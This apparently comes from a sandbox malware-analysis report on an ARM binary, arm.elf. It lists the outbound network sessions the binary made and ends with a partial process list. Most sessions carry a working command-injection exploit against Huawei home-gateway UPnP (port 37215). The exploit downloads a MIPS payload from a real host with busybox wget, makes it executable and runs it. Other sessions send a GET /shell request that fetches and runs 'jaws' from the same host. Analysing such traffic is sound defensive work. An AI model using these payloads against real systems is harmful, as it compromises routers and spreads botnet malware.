3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.23	55052	156.212.254.31	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:23.473218918 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.23	33546	197.136.153.142	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:23.629127026 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.23	57314	41.218.143.71	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:23.748769999 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.23	50350	96.30.182.1	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:23.888150930 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.23	40436	97.50.141.110	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:24.007715940 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.23	35150	109.142.3.249	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:24.008351088 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.23	57434	197.179.141.109	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:24.621967077 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.23	59528	41.160.159.179	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:24.622536898 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.23	45296	197.215.57.236	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:24.622973919 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.23	33188	41.245.18.4	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:24.623383045 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.23	40138	197.51.216.146	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:24.623797894 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.23	46276	41.112.249.142	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:24.781557083 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.23	37936	119.169.75.190	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:24.876446009 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

System Behavior

Analysis Process: arm.elf PID: 6259, Parent PID: 6181

General

Start time (UTC):	20:01:53
Start date (UTC):	03/12/2024
Path:	/tmp/arm.elf
Arguments:	/tmp/arm.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	20:01:54
Start date (UTC):	03/12/2024
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	20:01:54
Start date (UTC):	03/12/2024
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	20:01:54
Start date (UTC):	03/12/2024
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	20:01:54
Start date (UTC):	03/12/2024
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	20:01:54
Start date (UTC):	03/12/2024
Path:	/tmp/arm.elf
